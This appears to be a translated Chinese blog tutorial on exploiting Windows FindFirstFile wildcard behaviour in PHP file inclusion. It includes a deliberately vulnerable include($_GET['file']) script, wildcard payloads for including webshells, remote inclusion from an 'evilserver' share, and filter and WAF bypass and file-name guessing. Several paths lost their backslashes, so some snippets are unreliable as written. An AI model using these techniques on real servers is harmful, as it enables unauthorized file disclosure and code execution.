原理

Windows在搜索文件的时候使用到了FindFirstFile这一个winapi函数,该函数到一个文件夹(包括子文件夹)去搜索指定文件。

字符>被替换成?,字符<被替换成*,而符号"(双引号)被替换成一个.字符。这在2007年msdn公开的文档中被提及:http://msdn.microsoft.com/en-us/library/community/history/aa364418%28v=vs.85%29.aspx?id=3

利用方法很简单,我们只要将文件名不可知部分之后的字符用<或者>,<<代替即可,不过要注意一点是,只使用一个<或者>则只能代表一个字符,如果文件名是12345或者更长,这时候请求"1<"或者"1>"都是访问不到文件的,需要"1<<"才能访问到,代表继续往下搜索,有点像Windows的短文件名,这样我们还可以通过这个方式来爆破目录文件了。

做个简单的测试,测试代码如下:

1
2
3
<?php
include($_GET['file']);
?>

再在同目录下新建一个文件名为shell.txt的文件,内容为phpinfo()函数,请求/1.php?file=1<<即可包含。

image-20220518135219281

利用方法总结

  1. 当调用FindFirstFile()函数时,<被替换成”*,这意味该规则可以使”<”替换多个任意字符,但是测试中发现并不是所有情况都如我们所愿。所以,为了确保能够使<被替换成*,应当采用<<
    1
    2
    include('shell<');
    include('shell<<'); //当文件夹中超过一个以shell打头的文件时,该执行取按字母表排序后的第一个文件。
  2. 当调用FindFirstFile()函数时,>被替换成?,这意味这>可以替换单个任意字符
    1
    include('shell.p>p');    //当文件中超过一个以shell.p?p 通配时,该执行取按字母表排序后的第一个文件。
  3. 当调用FindFirstFile()函数时,"(双引号)被替换成.
    1
    include('shell"php');    //===>include('shell.php');
  4. 如果文件名第一个字符是.的话,读取时可以忽略之
    1
    fopen('.htacess');  //==>fopen('htacess');   //加上第一点中的利用 ==>fopen('h<<');
  5. 文件名末尾可以加上一系列的/或者的合集,你也可以在/或者中间加上.字符,只要确保最后一位为.
    1
    fopen(“config.ini\.// ///.”);==>  fopen('config.ini./..'); ==>fopen('config.ini/////.')==>fopen('config.ini…..')   //译者注:此处的利用我不是很理解,有何作用?截断?
  6. 该函数也可以调用以\打头的网络共享文件,当然这会耗费不短的时间。补充一点,如果共享名不存在时,该文件操作将会额外耗费4秒钟的时间,并可能触发时间响应机制以及max_execution_time抛错。所幸的是,该利用可以用来绕过allow_url_fopen=Off并最终导致一个RFI(远程文件包含)
    1
    include ('\evilservershell.php');
  7. 用以下方法还可以切换文件的盘名
    1
    1include('\.C:myfile.php......D:anotherfile.php');
  8. 选择磁盘命名语法可以用来绕过斜线字符过滤
    1
    file_get_contents('C:boot.ini'); //==>  file_get_contents ('C:/boot.ini');
  9. 在php的命令行环境下(php.exe),关于系统保留名文件的利用细节
    1
    2
    3
    file_get_contents('C:/tmp/con.jpg'); //此举将会无休无止地从CON设备读取0字节,直到遇到eof

    file_put_contents('C:/tmp/con.jpg',chr(0×07)); //此举将会不断地使服务器发出类似哔哔的声音

更深入的利用方法

除了以上已经展示的方法,你可以用下面的姿势来绕过WAF或者文件名过滤

请思考该例:

1
2
3
4
<?php
file_get_contents("/images/".$_GET['a'].".jpg");
//or another function from Table 1, i.e. include().
?>

访问test.php?a=../a<%00

可能出现两种结果

  1. Warning: include(/images/…/a<) [function.include]: failed to open stream:Invalid argument in。。。
  2. Warning: include(/images/…/a<) [function.include]: failed to open stream:Permission denied。。

如果是第一种情况,说明不存在a打头的文件,第二种则存在。

此外,有记录显示,有时网站会抛出如下错误:

1
Warning: include(/admin_h1d3) [function.include]: failed to open stream: Permission denied..

这说明该文件夹下存在一个以上以a打头的文件(夹),并且第一个就是admin_h1d3。

https://code.google.com/archive/p/pasc2at/wikis/SimplifiedChinese.wiki